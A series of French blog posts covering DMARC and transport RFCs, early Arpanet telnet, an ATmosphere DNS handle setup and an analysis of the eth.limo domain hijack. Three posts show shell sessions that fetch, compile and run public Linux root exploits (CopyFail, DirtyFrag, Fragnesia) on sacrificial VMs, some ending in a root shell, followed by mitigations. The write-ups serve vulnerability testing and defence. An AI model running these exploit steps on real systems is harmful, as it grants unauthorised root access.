insister sur ses limites et ses faiblesses, notre RFC précise bien
qu'il y a des cas où DMARC pose problème (sections 7.3 et 7.4). Par
exemple, citant le RFC 7960, il rappelle que
DMARC peut casser des cas d'usage légitimes comme les adresses
d'anciens élèves que certaines universités fournissent (en faisant
suivre automatiquement le courrier à l'adresse actuelle), comme des
alias où le courrier vers une même adresse est distribuée à
plusieurs personnes, qui ne sont pas forcément dans le même domaine,
ou comme les listes de
diffusion. Pour les deux premiers cas, des solutions
relativement simples existent (réécrire l'enveloppe pour ne pas
casser SPF, ce qui est de toute façon une bonne pratique car
l'envoyeur du message ne saurait pas quoi faire si la vraie adresse
finale ne marcherait pas) et ne pas du tout toucher au message, pour
éviter de casser DKIM), pour les listes de diffusion, c'est plus
délicat. En pratique, plusieurs gestionnaires de liste adoptent la
solution très intrusive de réécrire le champ
From: comme ici dans ce message envoyé à une
liste de l'OARC (le vrai
From: a été reporté en
Reply-To:) :
Authentication-Results: nic.fr;
spf=pass smtp.mailfrom=dns-operations-bounces@dns-oarc.net;
dmarc=pass header.from=dns-oarc.net
Reply-To: Walter Russo <walter@secureme.it>
From: Walter Russo via dns-operations <dns-operations@dns-oarc.net>
Le problème est évidemment particulièrement sérieux si on a une
politique DMARC restrictive (p=reject) et le
RFC conseille fortement dans ce cas de systématiquement signer avec
DKIM, pour éviter de compter sur le seul SPF (qui sera cassé par les
serveurs qui font suivre un message sans réécrire l'enveloppe). Et
il rappelle aux récepteurs de courrier qu'il est très imprudent de
rejeter un message sur la seule base de DMARC. Ces consignes, qui ne
sont pas toujours respectées par les serveurs actuels, sont
cruciales pour le bon fonctionnement du courrier. Le RFC note bien
ce problème de filtrage excessif et explique que c'est ce qui a mené
plusieurs gestionnaires de liste à tripoter le champ
From:, par exemple en changeant le vrai champ
bob@example.com en un
bob=example.com@user.somelist.example, où on
peut toujours retrouver la vraie adresse. (On ajoute également
parfois un Reply-To: indiquant la vraie adresse
de l'expéditeur, comme dans l'exemple ci-dessus.) Le RFC n'approuve
pas cette modification mais note qu'elle est répandue et qu'il faut
faire avec. Il existe des solutions techniquement plus propres comme
le ARC du RFC 8617 mais que presque personne
n'utilise.
En résumé, pour faire du DMARC complet, l'émetteur du courrier devrait idéalement :
Et le receveur devrait idéalement :
p=reject.La section 11 du RFC creuse les questions de sécurité. Que faut-il savoir pour utiliser DMARC de manière sûre ? D'abord, DMARC est évidemment dépendant des mécanismes d'authentification utilisés, SPF et DKIM (le groupe de travail IETF avait même envisagé de supprimer SPF, considéré comme trop permissif). Si vous publiez votre clé privée DKIM, DMARC ne pourra rien pour vous. Et SPF, DKIM et DMARC dépendent tous les trois du DNS donc il est crucial de gérer ses serveurs DNS sérieusement. Malheureusement, les RFC sur ces trois techniques n'imposent pas DNSSEC (RFC 9364) mais ils devraient : sans DNSSEC, l'envoi de fausses informations dans le DNS est plus facile. Compter sur SPF, DKIM et DMARC sans avoir DNSSEC me semble peu sérieux mais, bon, le vrai but de la cybersécurité est de réussir l'audit de conformité, pas d'améliorer la sécurité concrète. D'autre part, l'examen du trafic DNS (qui n'est pas limité aux deux parties qui s'envoient du courrier) donne des informations sur le trafic. Utiliser DoT (RFC 7858) ou DoH (RFC 8484) peut donc être une bonne idée.
Comme toujours en ingénierie, d'autres solutions techniques auraient été possibles. L'annexe A de notre RFC examine certaines de ces alternatives et explique pourquoi elles n'ont pas été retenues. Ainsi, on aurait pu utiliser S/MIME (RFC 8551) pour signer le message, ajoutant cette technique à SPF et DKIM. Mais S/MIME a un cahier des charges différent de celui de DMARC, il vise plutôt à une authentification de bout en bout du message entier. Et puis il faut bien constater qu'en dehors de quelques environnements bureaucratiques fermés, personne n'utilise S/MIME. C'est en partie dû à la nécessité d'une PKI, dont le RFC note qu'elle a été souvent promise mais ne s'est jamais matérialisée. (Curieusement, le RFC ne cite pas OpenPGP - RFC 9580 - qui est pourtant nettement plus utilisé que S/MIME.)
Une autre décision de conception cruciale de DMARC est le fait d'accepter n'importe quelle technique d'authentification ; SPF ou DKIM, c'est pareil pour lui. Il a pourtant été souvent proposé de permettre au titulaire du domaine de spécifier, dans l'enregistrement DMARC, de préciser qu'on ne veut que SPF, ou que DKIM. Mais DMARC est assez compliqué comme cela et la décision a finalement été de permettre l'une ou l'autre des méthodes d'authentification. Débrouillez-vous pour qu'au moins une (et de préférence les deux) fonctionne.
Un point essentiel de DMARC est qu'il authentifie l'expéditeur
(plus exactement son alignement) en
considérant que l'expéditeur est indiqué par le champ
From: de l'en-tête. Cela casse bien des usages
légitimes (comme les listes de diffusion). Ne serait-il pas
préférable d'authentifier un champ plus technique comme
Sender: (RFC 5322,
section 3.6.2) ? Cela avait même été spécifié dans le RFC 4870, puis retiré. Finalement, le choix a été
de se concentrer sur From: puisqu'il est le
seul à être toujours montré à l'utilisateur. (SPF, comme DKIM,
peuvent authentifier un identificateur que l'utilisateur ordinaire
ne voit pas.)
Notre RFC 9989 introduit une nouvelle clé,
np, qui spécifie la politique à appliquer aux
sous-domaines non existants du domaine authentifié. Cela soulève le
problème de la définition de non existant. Le RFC dit que cela
inclut les réponses NXDOMAIN (No Such Domain),
évidemment, mais pas forcément les réponses NOERROR où la section
Réponses est vide, car le nom existe mais ne contient ni
enregistrement MX, ni enregistrement d'adresse (A ou AAAA). Ce test
de la présence de certains types d'enregistrement est déjà
couramment utilisé en pratique (il n'y a aucune raison d'accepter du
courrier d'un domaine qui ne permettrait pas les réponses) mais le
RFC ne l'impose pas. Et, sinon, le RFC rappelle que, si une requête
pour un domaine renvoie NXDOMAIN, tous ses sous-domaines n'existent
pas non plus (RFC 8020).
Évidemment, un débat ancien et récurrent pour DMARC est celui des
frontières organisationnelles. Comment sait-on si
cis.cnrs.fr dépend de la même autorité que
cnrs.fr (ou bien
pick.eu.org et eu.org). Il
n'y a pas de réel moyen de trouver cette information dans le
DNS. (On peut trouver les frontières techniques
en demandant l'enregistrement de type SOA. Mais cela ne donne pas
les frontières
administratives. gouv.fr
n'est pas géré par la même organisation que fr,
même s'ils sont dans la même zone.) Des efforts ont été faits à
l'IETF
pour résoudre ce problème mais sans
résultat. L'ancien RFC DMARC, le RFC 7489 suggérait d'utiliser une liste de suffixes d'enregistrement mais
notre RFC 9989 a finalement préféré une autre méthode,
la « montée à l'arbre » (on grimpe l'arbre des noms de domaine,
cherchant des enregistrements DMARC).
Passons à la pratique, maintenant. OpenDMARC est aujourd'hui très répandu, aussi bien côté envoyeur que côté récepteur, et apparait souvent dans les articles de marketing « comment s'assurer que votre spam pardon votre newsletter sera bien livrée partout ». Sur mon serveur de messagerie personnel, j'annonce une politique DMARC et, pour valider les messages entrants, j'utilise OpenDMARC (notez que son développement semble bien avoir stoppé et qu'il y a donc peu de chances qu'il prenne en compte les nouveautés de ce RFC). Ma configuration est très proche de celle par défaut :
Socket inet:54321 # Les autres ont leur valeur par défaut
Et Postfix le lance ainsi, juste après DKIM :
smtpd_milters = unix:run/opendkim.sock, inet:localhost:54321
Et c'est ainsi que sont produits les champs
Authenticated-Results: que vous avez vus.
Pour apprendre DMARC, je recommande l'excellent et interactif . Pour tester votre
configuration, comme d'habitude, il existe de nombreux services.https://www.learndmarc.com/
Le chemin vers ce RFC a été très long (plusieurs années). L'annexe C du RFC résume les changements depuis le précédent RFC, le RFC 7489. Les principaux sont :
np,
psd et t.pct (partiellement remplacé par
t).Les articles suivants sont de bonnes lectures pour les nouveautés de DMARC :
Date de publication du RFC : Septembre 1969
Auteur(s) du RFC : C. Stephen Carr (UTAH)
Statut inconnu, probablement trop ancien
Première rédaction de cet article le 15 mai 2026
Faisons un peu un tour dans le passé avec ce vieil RFC, que j'ai lu pour préparer une intervention consacrée à l'Arpanet. Il normalise le protocole de connexion à distance qui est l'ancêtre de telnet.
La seule utilisation prévue de l'Arpanet, à ses débuts, était la connexion à un ordinateur distant, avec éventuellement un peu de transfert de fichiers. On pensait même que l'avenir était aux ordinateurs ultra-spécialisés, chaque université en hébergeant un, et Arpanet permettant un accès facile depuis les autres campus. Arpanet étant prévu dès le début pour des ordinateurs hétérogènes, il fallait un protocole standard pour cette connexion. En cinq pages (les RFC étaient courts, à l'époque), c'était fait.
Comme tout les RFC de l'époque, il peut être difficile à lire car la terminologie a changé. Un subsystem est tout simplement un programme généraliste, distinct des programmes « métiers » écrits par l'utilisateur. C'est le cas de telnet. Et un teletype est un terminal pas intelligent. Quant au time sharing, c'est du multi-tâches, auquel on est tellement habitués aujourd'hui qu'on ne pense plus à lui donner un nom. Et en ce temps, le RFC ne spécifiait pas seulement le protocole mais aussi le mode d'emploi du programme (telnet) qui le mettait en œuvre. Et encore, ici, le protocole n'est défini que par un exemple, où un programme tournant sur un PDP-10 se connecte sur un SDS 940. Il utilise les fonctions de base définies par le RFC 11 (ouvrir une connexion principale, une connexion auxiliaire, envoyer des données, etc). Le protocole n'a quasiment aucune des fonctions du futur « vrai » telnet (annoncé en conclusion du RFC et qui sera normalisé dans le RFC 764, bien des années après). Il se contente de faire passer des données entre les deux machines. Ici, les deux premières commandes sont des commandes locales au PDP-10, et la dernière une commande locale au 940. Les commandes préfixées par un astérisque sont celles de telnet :
.LOGIN .R TELNET *ESCAPE CHARACTER IS # *CONNECT TO SRI @LOGIN CARR.
Notez que notre RFC 15 inclut même un mécanisme de transfert de fichiers (FTP n'existait pas à l'époque), profitant du fait que le protocole de base de l'Arpanet (celui décrit dans le RFC 11) permettait d'ouvrir, en plus de la connexion principale, une connexion auxiliaire.
J'aurais bien aimé lire le code source de programmes mettant en œuvre ce RFC 15 mais je n'ai pas trouvé (j'ai très peu cherché donc, si vous avez une idée…).
Première rédaction de cet article le 13 mai 2026
Ah, contrairement à CopyFail et DirtyFrag, la faille de sécurité Linux Fragnesia ne semble pas marcher sur mes machines.
Sur une Debian 13 (évidemment une machine
sacrifiable), à jour donc ayant un noyau protégé contre DirtyFrag, mais sans le contournement
consistant à bloquer le chargement des modules via un
/etc/modprobe.d/dirtyfrag.conf :
toto@s55827:~$ git clone https://github.com/v12-security/pocs.git
toto@s55827:~$ cd pocs/fragnesia/
[Lire le code source, renoncer car il est trop compliqué.]
toto@s55827:~/pocs/fragnesia$ gcc -o fragnesia fragnesia.c
toto@s55827:~/pocs/fragnesia$ ./fragnesia
[*] uid=1000 euid=1000 gid=1000 egid=1000
[*] mode=xfrm_espintcp_pagecache_replace collateral=after
[*] target=/usr/bin/su size=84360
outer_write_open_denied=1 errno=13 (Permission denied)
userns_setup: outer_uid=1000 outer_gid=1000 ns_uid=0 ns_gid=0
netns_setup=1
loopback_up=1
namespace_gate_failed: XFRM_MSG_NEWSA ack errno=22 (Invalid argument)
toto@s55827:~/pocs/fragnesia$ su
Password:
Les modules sont bien chargés :
toto@s55827:~/pocs/fragnesia$ lsmod | egrep esp\|xfr
esp6 32768 0
esp4 28672 0
xfrm_user 69632 0
xfrm_algo 16384 3 esp6,esp4,xfrm_user
Donc, le programme d'exploitation de la faille ne marche pas sur Debian. Reste à savoir si c'est juste une bogue du POC (peut-être spécifique à Debian), qu'on pourrait corriger, ou bien si Fragnesia n'est pas si universelle que ça. En attendant, j'ai quand même réactivé ce contournement sur toutes mes machines, à tout hasard (et parce qu'il n'a pas trop d'inconvénients si on ne fait pas d'IPsec) :
sh -c "printf 'install esp4 /bin/false\ninstall esp6 /bin/false\ninstall rxrpc /bin/false\n' > /etc/modprobe.d/dirtyfrag.conf; rmmod esp4 esp6 rxrpc 2>/dev/null; true"
D'autant plus que le POC de Fragnesia semble marcher sur Ubuntu, Fedora et Arch.
Date de publication du RFC : Mai 2026
Auteur(s) du RFC : N. Kuhn (Thales Alenia
Space), E. Stephan
(Orange), G. Fairhurst, R. Secchi
(University of Aberdeen), C. Huitema (Private
Octopus)
Chemin des normes
Réalisé dans le cadre du groupe de travail IETF tsvwg
Première rédaction de cet article le 12 mai 2026
Traditionnellement, les protocoles de transport comme QUIC ou TCP partaient de zéro à chaque connexion. On se connecte, on démarre prudemment (ne pas envoyer trop de données pour éviter de congestionner le réseau), puis on augmente le débit petit à petit. Mais c'est dommage de ne pas tenir compte des connexions précédentes, où on avait déjà suivi ce processus. Ne pourrait-on pas se souvenir des mesures précédentes pour aller plus vite la prochaine fois ? C'est justement ce que propose ce RFC.
Évidemment, si l'idée est simple, la réalisation soulève plein de problèmes, d'autant plus qu'on touche ici à une activité dangereuse : si on se trompe, on risque d'aggraver la congestion. Le RFC détaille donc plus précisément comment réutiliser ces mesures passées, pour ne pas faire s'écrouler le réseau. Tout protocole de transport doit utiliser un algorithme de contrôle de la congestion (RFC 2914) ou bien s'auto-modérer (RFC 8085). Mais concevoir un bon algorithme de contrôle de la congestion n'est pas trivial et, par exemple, le RFC 5783 notait que les algorithmes existants marchaient mal pour les liaisons avec un BDP élevé et/ou très variable, comme les liaisons satellite.
Pour comprendre pourquoi, revenons un peu au fonctionnement typique d'un algorithme de contrôle de la congestion. Il a typiquement deux phases. D'abord, au début de la connexion, on envoie moins de données que ce qu'on pourrait, afin de ne pas congestionner le réseau. Puis on augmente le débit, jusqu'au moment où des indicateurs comme la perte de paquets ou le rythme des accusés de réception (RFC 9406) signalent qu'on a atteint la capacité maximale pour ce flux de données. La dépasser (overshoot) congestionnerait le réseau ou, si les autres flux qui se partagent le réseau sont mieux élevés, entrainerait des diminutions de ressources pour ces autres, voire un écroulement du réseau sous la charge. Voilà pourquoi il faut démarrer lentement.
Au passage, le RFC note que, bien sûr, la connexion TCP ou QUIC qui réutiliserait les mesures d'une précédente connexion doit s'assurer qu'on compare ce qui est comparable : mêmes adresses IP source et destination, et peut-être même DSCP (Differentiated Services Code Point, cf. RFC 2474). On verra plus loin que ce n'est pas suffisant (les choses peuvent changer, le passé peut ne pas être un bon indicateur du présent), mais patientez encore un peu.
La méthode de notre RFC se nomme « reprise prudente » (careful resume) ou, en plus joli « partage temporel » (temporal sharing), puisqu'on reprend des mesures passées (mesures de la capacité, du RTT, etc). Ces mesures pouvant ne plus être d'actualité (trop vieilles et/ou le chemin suivi a changé), il faut en effet être prudent (cf. RFC 9000 et RFC 9040).
Dans quels cas cette reprise (prudente) de données d'une connexion précédente peut être utile ? La section 1.4 du RFC liste un certain nombre de cas d'usages. Entre autres, il y a le cas d'une application qui utilise plusieurs connexions, les connexions peuvent alors utiliser les données récupérées par la première d'entre elles. Ou bien lorsqu'une connexion a été violemment interrompue et repart tout de suite après. Et il y a aussi une autre utilisation, lorsque la latence du chemin utilisé est bien plus importante que dans une liaison Internet typique, ce qui est le cas des satellites lorsqu'ils ne sont pas en orbite basse. L'article « Google QUIC performance over a public SATCOM access » note ainsi que sur une liaison via un satellite géostationnaire, avec l'algorithme classique, transférer 5,3 Mo prendra 9 secondes alors que le partage temporel, si on peut réutiliser les mesures d'une connexion précédente, prendra 4 secondes. (Si les 9 secondes vous semblent trop, compte-tenu de la capacité du lien, rappelez-vous que la capacité n'est pas le seul facteur limitant ; TCP, surtout au démarrage, n'utilise pas toute la capacité, et il met longtemps à converger si la latence est élevée.) Une autre présentation, à l'IETF « Feedback from using QUIC's 0- RTT-BDP extension over SATCOM public access », calcule une réduction du temps de transfert de 62 % pour faire voyager 1 Mo. Enfin, le RFC recommande la lecture de la synthèse « Careful Resumption of Internet Congestion Control from Retained Path State ».
Le récepteur des données peut avoir des informations que l'envoyeur n'a pas, et cela peut le pousser à vouloir désactiver la reprise que l'envoyeur croit prudente. Par exemple, le récepteur sait peut-être quelle quantité de données va être envoyée, ou bien il sait que le chemin sur le réseau a changé.
Toujours pour compliquer les choses, il faut aussi se souvenir que d'autres facteurs peuvent limiter la quantité de données qu'on envoie, par exemple le contrôle de flux, donc les fenêtres de TCP (RFC 9293, section 3.8.6) ou le système de crédit de QUIC (RFC 9000, section 4).
Prenant en compte tout cela, la section 1.5 du RFC résume les principes de la « reprise prudente » :
Un peu de terminologie avant de continuer (section 2) : le partenaire distant (remote endpoint) est l'ensemble des informations qui identifie à qui on envoie des données, typiquement l'identificateur d'une interface réseau locale couplé à l'adresse IP de la machine avec qui on parle et peut-être (c'est une décision locale, et forcément très dépendante du système d'exploitation utilisé) des informations comme DSCP. Si le partenaire distant change, on en déduit que le chemin a changé (l'inverse n'est pas vrai : le chemin peut changer alors que le partenaire distant est le même). Si on a une indication que le chemin a changé, on revient au mécanisme traditionnel, on n'utilise pas les paramètres gardés des précédentes connexions.
Le mécanisme de notre RFC a donc plusieurs phases (section 3, mais regardez aussi le joli tableau de l'annexe A, qui est peut-être plus clair) : celle de reconnaissance, où on cherche si les caractéristiques du chemin correspondent à un chemin connu, puis , selon son résultat, on passe à la phase dite normale, si on a reconnu un chemin déjà vu, ou bien à la phase non validée (chemin inconnu, on démarre prudemment), puis à la phase de validation (y a t-il un indicateur de congestion ou bien tout est-il beau et propre ?), ou bien à celle de retraite (on jette les informations enregistrées, la situation a changé, on retourne en mode traditionnel), avant de passer à la phase normale. (Des exemples détaillés figurent dans l'annexe B.)
La section 4 du RFC fournit des détails sur la mise en œuvre des principes de ce RFC. Par exemple, la détermination pratique d'un changement du chemin. Un bon indicateur est le RTT. Cette section conseille aussi, même en l'absence d'indications que le chemin a changé, de ne pas garder les paramètres sauvegardés trop longtemps : comme la détection d'un éventuel changement n'est pas parfaite, il vaut mieux avoir une durée de vie maximale pour les paramètres enregistrés. Le RFC suggère quelques heures, voire moins si on sait que le chemin est très dynamique.
Enfin, l'annexe B détaille à l'octet près des exemples de fonctionnement de l'algorithme de reprise prudente, pour différents cas.
Vous pouvez aussi avoir une introduction aux principes de ce RFC dans l'exposé d'un des auteurs à la Journée du Conseil Scientifique de l'Afnic en 2021 (avec les supports).
Merci à Nicolas Kuhn pour sa relecture.
Première rédaction de cet article le 10 mai 2026
Ça y est, j'ai réussi à utiliser mon propre nom de domaine pour m'identifier sur l'ATmosphère, le réseau
social utilisant le protocole
AT. Je suis désormais
@at.bortzmeyer.fr.
Je ne vais pas essayer d'expliquer le protocole ou comment ça se passe, l'ATmosphère, c'est compliqué et il y a plein de composants dont le rôle n'est pas du tout clair pour moi. Je vais simplement décrire la vision « utilisateur ordinaire, paresseux et pas très malin ».
Si vous utilisez Bluesky, vous allez me dire « mais c'est très simple d'avoir son propre nom de domaine sur Bluesky et c'est documenté ». Mais, justement, je ne veux pas du tout utiliser Bluesky, je veux voir si l'ATmosphère est réellement décentralisé, comme le prétendent ses fanboys.
Mon compte est sur Eurosky et l'interface
Web de gestion du compte ne semble proposer aucun moyen d'utiliser
un domaine qui ne soit pas un sous-domaine
d'eurosky.social. Le truc est donc de passer
par une interface analogue à celle de Bluesky comme celle dont je me
sers, Blacksky. Donc,
avec Blacksky, dans Paramètres → Compte → Pseudo, cliquer sur « j'ai
mon propre domaine », et vous arrivez là : 
Pour prouver que vous contrôlez réellement le domaine, vous aller
devoir publier un enregistrement TXT dans le
DNS. Cela se fait
chez votre hébergeur DNS (et non pas, comme on le lit dans certaines
documentations, chez le registrar). Le sous-domaine
du nom choisi (que l'interface, curieusement, appelle « Hébergeur »)
est _atproto. Comme je suis mon propre
hébergeur DNS, j'ai ajouté cette ligne dans le fichier de zone :
_atproto.at IN TXT "did=did:plc:5q7z7bsjozd5bl7dghurywmm"
Puis les manœuvres habituelles (recharger la zone, etc) et vous pouvez voir le résultat :
% dig +short _atproto.at.bortzmeyer.fr TXT "did=did:plc:5q7z7bsjozd5bl7dghurywmm"
Vous pouvez alors cliquer sur « Vérifier l'enregistrement DNS » et poursuivre le changement d'identité. Attention si vous avez fait une erreur dans le DNS et que vous la corrigez, Blacksky ne verra pas la correction avant la fin du TTL et continuera donc à vous dire que ça ne marche pas.
Première rédaction de cet article le 8 mai 2026
Dernière mise à jour le 9 mai 2026
Aujourd'hui, vous avez probablement entendu parler de la faille de sécurité du noyau Linux nommée CopyFail. Une nouvelle faille a été publiée hier, DirtyFrag (CVE-2026-43284 et CVE-2026-43500) et elle est aussi dangereuse et facile à exploiter que CopyFail.
Comme avec CopyFail, testons sur une machine sacrifiable, en l'occurrence une VM chez xTom. On crée la VM, sous Debian 13 (la dernière version stable). Par souci de complétude, on commence par tester CopyFail :
toto@s55827:~$ python copyfail Password:
Ouf, CopyFail échoue ; comme avec tous les hébergeurs sérieux, les VM sont créées avec un noyau insensible à cette faille, et ce bien que le module qui était bogué soit chargé :
toto@s55827:~$ lsmod|grep aea algif_aead 12288 0 af_alg 36864 1 algif_aead toto@s55827:~$ uname -a Linux s55827 6.12.85+deb13-cloud-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.12.85-1 (2026-04-30) x86_64 GNU/Linux
Maintenant, essayons DirtyFrag :
toto@s55827:~$ git clone https://github.com/V4bel/dirtyfrag.git … toto@s55827:~$ cd dirtyfrag/ toto@s55827:~/dirtyfrag$ more exp.c
On regarde le code C, il est difficilement compréhensible, c'est bien pour cela qu'il ne faut le tester que sur une machine sacrifiable. Compilons-le :
toto@s55827:~/dirtyfrag$ gcc -O0 -Wall -o exp exp.c toto@s55827:~/dirtyfrag$ ./exp # # id uid=0(root) gid=0(root) groups=0(root) # touch /P0wned # ls -l /P0wned -rw-rw-r-- 1 root root 0 May 8 08:53 /P0wned #
Aussi simple et aussi efficace que CopyFail. Comme lui, il marche à tous les coups et tourne sur de très nombreux systèmes. su a été modifié en mémoire (pas sur le disque et cela ne survivra donc pas au démarrage) :
toto@s55827:~/dirtyfrag$ ls -l /usr/bin/su -rwsr-xr-x 1 root root 84360 May 9 2025 /usr/bin/su toto@s55827:~/dirtyfrag$ su #
La page officielle propose un contournement, en attendant une vraie correction (qui existe déjà chez Debian, pour les autres systèmes, voir ici) :
root@s55827 ~ # sh -c "printf 'install esp4 /bin/false\ninstall esp6 /bin/false\ninstall rxrpc /bin/false\n' > /etc/modprobe.d/dirtyfrag.conf; rmmod esp4 esp6 rxrpc 2>/dev/null; true" root@s55827 ~ # cat /etc/modprobe.d/dirtyfrag.conf install esp4 /bin/false install esp6 /bin/false install rxrpc /bin/false
Et une fois ce contournement appliqué (et la machine redémarrée pour annuler l'effet du test précédent) :
toto@s55827:~/dirtyfrag$ ./exp dirtyfrag: failed (rc=1) toto@s55827:~/dirtyfrag$ su Password:
Ouf, on est en sécurité (jusqu'à la prochaine faille). Si vous avez
plusieurs machines où appliquer ce contournement, vous pouvez utiliser
Ansible (sur Ansible, voir aussi cet
article). Attention,
ce contournement empêche apparemment d'utiliser IPsec
(mais ce n'est pas grave, tout le monde utilise Wireguard, de toute façon). Si c'est un
problème, une autre
solution (que je n'ai pas testée) est sysctl -w kernel.unprivileged_userns_clone=0.
Un autre contournement possible est d'utiliser eBPF pour empêcher l'attaque (je n'ai pas testé). Voyez copyfail-dirtyfrag-blocker. Et une solution encore plus radicale (et qui crée probablement pas mal d'inconvénients) est de suspendre le chargement des modules après le démarrage.
Évidemment, la meilleure solution est quand même l'installation d'un noyau corrigé et la redémarrage. Ici, sur une Debian 13 (l'actuelle version stable) :
toto@s55827:~/dirtyfrag$ uname -a Linux s55827 6.12.86+deb13-cloud-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.12.86-1 (2026-05-08) x86_64 GNU/Linux toto@s55827:~/dirtyfrag$ ./exp dirtyfrag: failed (rc=1) toto@s55827:~/dirtyfrag$ lsmod |grep esp esp4 28672 0 xfrm_algo 16384 2 esp4,xfrm_user
Malgré le chargement du module, on est en sécurité.
Si vous voulez tous les détails techniques sur DirtyFrag, outre la page officielle, vous avez cet article en anglais et celui-ci en français (et un autre en français mais moins détaillé).
Première rédaction de cet article le 30 avril 2026
Dernière mise à jour le 2 mai 2026
La faille CVE-2026-31431 est très sérieuse (ainsi que DirtyFrag, qui l'a suivie d'une semaine). Premier avertissement : la sécurité, c'est compliqué et ne croyez donc pas aveuglément ce que j'écris ou ce que vous avez compris de cet article. Deuxième avertissement : les manipulations effectuées dans cet article sont dangereuses. Réservées aux adultes consentants.
J'ai créé une VM neuve chez xTom, avec le système Debian 13. Aucune modification de mon côté, c'est une Debian pure.
Le compte normal est toto. Il ne peut pas
utiliser su sans le mot de passe de root :
toto@s55486:~$ id uid=1000(toto) gid=1000(toto) groups=1000(toto),100(users) toto@s55486:~$ su Password:
On télécharge le POC d'exploitation de la faille :
toto@s55486:~$ curl https://copy.fail/exp > copyfail
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 731 0 731 0 0 3458 0 --:--:-- --:--:-- --:--:-- 3448
toto@s55486:~$ more copyfail
#!/usr/bin/env python3
…
On l'examine mais, de toute façon, il est peu compréhensible. On le fait tourner (et je me répète, ne faites pas ça sur une machine de production !!!) :
toto@s55486:~$ python3 copyfail # id uid=0(root) gid=1000(toto) groups=1000(toto),100(users) toto@s55486:~$ su #
Et voilà, on est root. (Il y a aussi une exploitation en C mais que je n'ai pas testée. Et une plus simple et plus analysable en Python.)
Pour empêcher cela, le mieux est d'installer un noyau réparé, s'il est disponible. C'est le cas dans Arch Linux, Debian, sur Ubuntu, Suse, Fedora… Si on n'a pas un tel noyau, on désactive le module noyau bogué :
root@s55486 ~ # echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif.conf root@s55486 ~ # rmmod algif_aead
toto@s55486:~$ python3 copyfail
Traceback (most recent call last):
File "/home/toto/copyfail", line 9, in <module>
while i<len(e):c(f,i,e[i:i+4]);i+=4
~^^^^^^^^^^^^^^
File "/home/toto/copyfail", line 5, in c
…
FileNotFoundError: [Errno 2] No such file or directory
toto@s55486:~$ su
Password:
Et voilà, on est normalement en sécurité. (Il faut évidemment se protéger aussi contre DirtyFrag.) C'est par exemple ce qu'a fait NLNOG sur les machines du RING. Et Evolix nous donne une recette Ansible pour le faire sur toutes vos machines.
Si vous obtenez ceci :
% python copyfail %
C'est que vous utilisez un noyau non vulnérable (par exemple la version 7.0.2 qui dans Arch Linux).
Alain Thivillon me dit que sur les systèmes d'exploitation Red Hat comme Fedora le module est lié statiquement au noyau et il faut redémarrer avec ça sur la ligne de commande du noyau :
initcall_blacklist=algif_aead_init
(Ou utiliser seccomp. Mais je n'ai testé aucun des deux contournements sur une Red Hat. )
Première rédaction de cet article le 20 avril 2026
Le 18 avril, le nom de
domaine eth.limo a été victime d'un
détournement (une attaque où le méchant prend le contrôle du nom et
change les informations).
Les détournements sont le deuxième plus gros problème de sécurité des noms de domaine, avec les attaques par déni de service. Des articles de bilan sur celui-ci ont été produits aussi bien par le titulaire du nom (nom qui est utilisé en rapport avec la cryptomonnaie Ethereum) que par le revendeur EasyDNS (dont on notera la franchise « nous avons merdé »). On ne sait pas exactement comment s'est fait le détournement (l'article d'EasyDNS parle juste d'« ingénierie sociale). Mais voyons les changements faits dans le DNS, et quelques leçons à tirer.
Le domaine a été enregistré via EasyDNS, un revendeur du BE Tucows. Il est hébergé sur AWS. Voici l'information obtenue via RDAP :
% rdap eth.limo … Nameserver: ns-814.awsdns-37.net Nameserver: ns-1689.awsdns-19.co.uk Nameserver: ns-48.awsdns-06.com Nameserver: ns-1382.awsdns-44.org Delegation Signed: yes … Last Changed: 2026-04-18T15:31:54.163Z … Role: registrar Name: Tucows Domains Inc.
(Notez qu'on ne peut pas utiliser whois,
celui-ci n'est plus obligatoire dans les TLD ICANN et, en
effet, .limo ne semble plus en avoir.)
Enregistrés par DNSDB, voici la
délégation DNS
normale de eth.limo :
;; bailiwick: limo. ;; count: 1371 ;; first seen in zone file: 2022-07-15 00:15:27 -0000 ;; last seen in zone file: 2026-04-19 00:11:22 -0000 eth.limo. IN NS ns-48.awsdns-06.com. eth.limo. IN NS ns-814.awsdns-37.net. eth.limo. IN NS ns-1382.awsdns-44.org. eth.limo. IN NS ns-1689.awsdns-19.co.uk.
Et pendant le détournement (deux jeux de serveurs de noms utilisés, comme noté par le tweet du titulaire) :
;; bailiwick: limo. ;; count: 495 ;; first seen: 2026-04-18 06:31:38 -0000 ;; last seen: 2026-04-18 08:06:34 -0000 eth.limo. IN NS joan.ns.cloudflare.com. eth.limo. IN NS garrett.ns.cloudflare.com. ;; bailiwick: limo. ;; count: 1363 ;; first seen: 2026-04-18 08:06:57 -0000 ;; last seen: 2026-04-18 11:59:02 -0000 eth.limo. IN NS dns1.namecheaphosting.com. eth.limo. IN NS dns2.namecheaphosting.com.
Il est amusant de constater que deux jours après, Cloudflare (et Namecheap) continuent à servir la mauvaise information :
% dig @joan.ns.cloudflare.com. eth.limo NS … ;; ANSWER SECTION: eth.limo. 86400 IN NS garrett.ns.cloudflare.com. eth.limo. 86400 IN NS joan.ns.cloudflare.com. … ;; WHEN: Mon Apr 20 14:02:13 BST 2026
Qu'est-ce que le méchant a changé dans la zone ? Il a modifié l'adresse IP, pointant vers un hébergement Web chez Namecheap. On le voit aussi avec DNSDB :
;; count: 206 ;; first seen: 2026-04-18 07:36:35 -0000 ;; last seen: 2026-04-18 11:50:19 -0000 eth.limo. IN A 162.213.253.76
Mais notez que les serveurs faisant autorité de Cloudflare et Namecheap continuent de servir la mauvaise info. Comparez avec la vraie :
% dig eth.limo A
…
;; ANSWER SECTION:
eth.limo. 60 IN A 35.71.142.77
eth.limo. 60 IN A 52.223.52.2
…
;; WHEN: Mon Apr 20 13:18:39 UTC 2026
% dig @dns1.namecheaphosting.com eth.limo A
…
;; ANSWER SECTION:
eth.limo. 14400 IN A 162.213.253.76
…
;; WHEN: Mon Apr 20 13:19:06 UTC 2026
Et en mettant 162.213.253.76 eth.limo dans son
/etc/hosts, on peut voir le site « pirate »,
qui n'a pas été supprimé. Il ressemble tout à fait au vrai, sauf
qu'il n'a pas de HTTPS. Puisqu'on parle de HTTPS, notons que
l'attaquant ne semble pas avoir demandé de
certificat (il aurait pu). Le dernier
certificat alloué date du 11 avril. C'est en tout cas ce qu'on voit
en regardant les journaux Certificate
Transparency.
